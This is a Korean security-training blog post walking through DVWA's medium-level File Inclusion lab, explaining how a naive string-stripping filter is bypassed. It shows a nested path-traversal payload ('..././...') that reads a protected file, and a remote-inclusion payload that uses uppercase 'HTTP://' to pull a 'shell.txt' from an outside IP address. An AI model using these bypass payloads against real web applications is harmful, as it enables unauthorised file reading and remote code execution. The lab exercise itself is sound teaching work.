TeamH4C

[빡공팟 5기] W6 : DVWA 실습 - File Inclusion (medium)

이유갬 2022. 10. 30. 23:19

[  실습 목표  ]

Read all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion.

file inclusion 만 사용하여 '../hackable/flags/fi.php' 를 이용하여 다섯 가지 유명한 인용문을 모두 읽는 것이 목표다!


[  실습 화면  ]

- 총 3개의 파일이 있다.

- 하나씩 다 눌러보자!

- 순서대로 계정의 정보와 IP 를 알려주는 파일, Nick Helm 의 대사, 접속한 계정의 정보를 포함한 IP, 경로, user-agent 의 정보를 알려준다.

- Low 레벨에서의 파일의 내용과 별반 다를 것이 없다.

- 소스코드를 분석해보자!

- 필터의 기능이 있다.

- http, https, ../ ..\\ 와 같은 주소 입력과 상위 디렉터리 이동 명령어를 필터링하는 것이다.

- 우리는 ../hackable/flags/fi.php 파일을 이용하여 5가지 인용문을 읽어야한다.

- 여기서 필터링의 허점에는 필터링을 해도 "", 즉 그저 빈 문자열로만 만들고 다른 필터링은 진행하지 않는다는 것이다.

- 만약 ..././..././hackable/flags/fi.php 를 입력하면 어떻게 될까?

..././..././hackable/flags/fi.php
../../hackable/flags/fi.php

- 빨간색 부분이 삭제되면서 최종적으로 아래와 같은 URL 이 요청된다.

- 해당 URL 을 직접 입력해보자!

- 이렇게 입력하니 내용이 출력되었다.

- 3번째 줄은 숨겨져있는데 개발자 도구를 통해 살펴보았다.

- 3번째 줄은 그냥 숨겨져있다고만 나오고 5번째 인용구는 주석처리 되어 있었다.

- 저번 Low 레벨과 마찬가지로 base64 로 인코딩하여 내용을 출력해보았다.

- 3번째 인용구도 얻어낼 수 있었다!

- 전자의 공격은 LFI 공격이었고 이제 RFI 공격도 시도해보자!

HTTP://117.16.17.186:9879/hacker/shell.txt

- 이번엔 http:// 우회를 HTTP:// 로 우회해서 외부 파일을 삽입했다.

- 외부 파일의 소스 코드는 아래와 같다.

- 해당 파일이 있는 경로로 이동한 후 내용을 출력하라는 명령어를 작성해놓았다.

- 해당 URL 을 넣어보니 아래와 같은 결과가 출력되었다.

- 이렇게 LFI, RFI 공격을 실습해보았다!

- 필터링을 한다 해도 그저 특정한 문자열만 적어놓고 빈 문자열로 치환하고 그친다면 이렇게 취약점이 발생할 수 있다.